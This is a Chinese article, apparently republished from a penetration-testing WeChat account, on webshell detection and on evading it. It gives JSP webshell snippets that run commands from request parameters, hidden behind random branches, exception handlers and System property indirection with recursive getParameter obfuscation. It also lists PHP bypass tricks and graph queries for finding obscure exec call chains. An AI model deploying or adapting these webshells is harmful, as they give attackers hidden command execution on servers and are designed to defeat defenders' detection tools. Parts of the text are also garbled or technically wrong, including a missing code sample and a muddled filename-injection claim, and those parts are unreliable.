前情提要
静态检测:
- 特征码分析:通过分析文件的签名或特定代码模式来识别Webshell。这包括检查文件的代码结构、使用的语言特性以及可能表明恶意活动的特征字符串。
- 代码结构分析:检测工具会解析PHP、ASPX、JSP等脚本文件中的抽象语法树(AST),根据不同的指标进行评分,以区分正常代码与潜在的Webshell。
动态检测:
- 行为监控:监视脚本在执行时的行为,如文件操作、网络通信等,以识别异常活动。
- 运行时应用自我保护:例如,RASP(Runtime Application Self-Protection)技术,它在应用程序运行时实时监测和防御恶意行为。
技术对抗:
- 编码变形:攻击者可能会对Webshell进行变形,比如改变参数传递方式(从POST变为GET)或调整代码结构(如使用花括号替代方括号)来绕过规则检测。
- 反取证:成熟的Webshell具有较强的反取证能力,可能通过加密、压缩、动态调用等手段来避开安全工具的检测。
机器学习:
- 利用统计分析和机器学习算法,检测引擎可以根据历史数据和行为模式识别未知的Webshell变种。
1.在Java中,最常见的执行外部命令的方法是使用Runtime类的exec()方法和ProcessBuilder类的start()方法。具体如下:
- Runtime.exec(): 这是Java提供的一个用于执行外部程序的便捷方法。它接受一个字符串参数,该参数是要执行的命令,或者可以传递一个字符串数组,其中包含要执行的命令及其参数。这个方法会返回一个Process对象,代表已经启动的进程。通过这个Process对象,你可以控制这个进程的输入、输出以及等待它的完成。
- ProcessBuilder.start(): ProcessBuilder类提供了一个更现代且灵活的方式来处理外部进程的创建和管理。使用ProcessBuilder,你可以设置命令及其参数,还可以重定向输入输出流。调用start()方法会启动一个新的进程,并返回代表该进程的Process对象。
- 反射调用:除了直接使用上述方法外,你还可以通过反射来手动调用这些方法,从而执行外部命令。这种方式通常用于更高级的技术场景,比如框架内部或特定工具的使用。
2.在Java中,调用Runtime
类的exec()
方法和ProcessBuilder
类的start()
方法通常用于执行外部命令。在Tabby(安装新版的时候要注意apoc插件版本,和csv文件中的/符号)中分别查找JDK17中调用了这两个方法的方,以下是如何调用这两个方法的调用途径:
- 使用Runtime.exec():
match path=(m1:Method)-[:CALL*..20]->(m2:Method{NAME:"exec",CLASSNAME:"Runtime"}) return path
这个判断是否公共类
com.sun.tools.jdi.RawCommandLineLauncher和com.sun.tools.jdi.SunCommandLineLauncher
是com.sun.tools.jdi.AbstractLauncher的两个实现类是公共类
其他都不是
筛选了一下大概可以看到调用方法:
传参argument-CONNECTOR-com.sun.jdi.VirtualMachine launch(java.util.Map)-com.sun.tools.jdi.SunCommandLineLauncher-com.sun.tools.jdi.AbstractLauncher-$Helper-Runtime-EXEC
这里一般来说会被检测到,我们以此为基础搜寻一个不常用链路
- com.sun.tools.example.debug.tty.VMConnection:这是一个内部类
- jdk.jshell.execution.JdiInitiator:public类,并且其launch调用是在public构造方法中进行,显然jdk.jshell.execution.JdiInitiator很符合要求webshell如下:
-
- 使用ProcessBuilder.start():
match path=(m1:Method)-[:CALL*..20]->(m2:Method{NAME:"start",CLASSNAME:"java.lang.ProcessBuilder"}) return path
PHP Webshell常用绕过静态检测的方法有以下几种:
-
使用编码器对Webshell进行编码,例如使用base64、hex等编码方式。在执行时,解码后再执行。
-
将Webshell代码分割成多个部分,分别存储在不同的文件中,然后在需要时通过include或require等方式引入。
-
使用动态函数名和变量名,例如将函数名和变量名设置为动态生成的字符串,以增加静态检测的难度。
-
使用反射API(Reflection)来动态调用函数和方法,从而避免直接调用敏感函数。
-
利用全局变量和超全局变量的特性,将Webshell代码存储在全局变量或超全局变量中,从而绕过静态检测。
-
使用反序列化漏洞,将Webshell代码序列化为字符串,然后将其反序列化为对象,从而绕过静态检测。
-
使用第三方库或框架的特性,例如利用Laravel框架的路由功能,将Webshell代码存储在路由文件或者系统文件中,从而绕过静态检测。(借鉴别人的https://mp.weixin.qq.com/s/CQjAcK1cJmXoRLRjw1peoQ):
1.Exception::getMessage + 还原字符串 绕过
2.通过将被检测值存入系统,然后再去取出
从Sqlite数据库文件中获取"system"
从目录获取"system"
5.4下的readline扩展绕过
针对动态沙箱的检测,如果可能让引擎在运行或者模拟运行时无法到达恶意代码的分支,则可以绕过。
使用反射机制来调用私有方法:
可以使用if语句来检查某些条件是否满足,然后根据结果来决定是否执行恶意代码。这样,即使引擎在运行或模拟运行时无法到达恶意代码的分支,也可以绕过检测。
-
if-使用随机数
<%
Random r =
new
Random();
int
d1 = r.
nextInt
(
2
);
int
d2 = r.
nextInt
(
2
);
if
(d1 == d2) {
exec
();
}
else
{
}
%>
-
利用异常捕获
利用动态沙箱引擎无法准确判断并模拟用户的输入内容,进行绕过。
<%
try
{
if
(request.
getParameter
(
"1"
)!=
null
){
int
a =
1
/Integer.
parseInt
(request.
getParameter
(
"1"
));
}
}
catch
( NumberFormatException e){
}
catch
(Exception e){
exec
();
}
%>
污点分析是一种跟踪并且分析污点信息在程序中流动的技术。在漏洞分析的过程中,污点分析会将所有来自程序外部输入都标记成污点数据,然后跟踪和污点数据相关的信息流向,观察是否流向被定义好的sink点。
利用Java的语言特性误导引擎对方法调用的识别,可以通过以下几种方式实现:
- 重载(Overloading):在同一个类中定义多个同名方法,但参数列表不同。这样可以让引擎在解析方法调用时产生歧义,从而误导其识别。
- 可变参数(Varargs):使用可变参数可以创建多个重载方法,从而让引擎在解析方法调用时产生歧义。
- 泛型(Generics):使用泛型可以创建多个重载方法,从而让引擎在解析方法调用时产生歧义。
- 反射(Reflection):通过反射机制动态调用方法,可以创建多个重载方法,从而让引擎在解析方法调用时产生歧义。
5.利用System类的setProperty
和getProperty
方法进行参数的传递。引擎很难判断exec的参数System.getProprety("test")是来自用户输入的污点。
在Java Web应用程序中,攻击者可以通过以下方式将恶意代码注入到服务器上:
- 构造一个包含特殊字符的文件名,如
test.php;rmi://localhost:1099/Exploit
。 - 使用System.setProperty方法将这个文件名保存到系统属性中,如
System.setProperty("filename", "test.php;rmi://localhost:1099/Exploit");
。 - 在服务器端使用System.getProperty方法获取这个文件名,并执行相应的操作,如
String filename = System.getProperty("filename");
。 - 由于这个文件名中包含了一个命令注入攻击的语句,当服务器解析文件名时,会将这个特殊字符作为命令的一部分执行。
- 攻击者可以通过这种方式绕过服务器的安全检查,成功上传包含恶意代码的文件。
同时也可以(参考https://mp.weixin.qq.com/s/nZBYQC_Mv2-F0WPcG__M6A)
利用System类的setProperty
和getProperty
方法进行参数的传递。引擎很难判断exec的参数System.getProprety("test")是来自用户输入的污点。
<%
System.
setProperty
(request.
getParameter
(
"a"
),request.
getParameter
(
"b"
));
Runtime.
getRuntime
().
exec
(System.
getProperty
(
"test"
));
%>
一切出现字符串的地方都可以用request.getParameter代替。因此request.getParameter()的参数也可以递归放入request.getParameter(),并且最终也可以不使用硬编码的字符串,而是在系统中寻找一些字符串作为参数,加强混淆效果,例如:
<%
System.
setProperty
(request.
getParameter
(request.
getParameter
(
this
.
getClass
().
getName
())),request.
getParameter
(request.
getParameter
(
this
.
getClass
().
getPackage
().
getName
())));
Runtime.
getRuntime
().
exec
(System.
getProperty
(
this
.
toString
().
substring
(
0
,
this
.
toString
().
indexOf
(
"@"
))));
%>
原文始发于微信公众号(SQ安全渗透):webshell检测与对抗
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论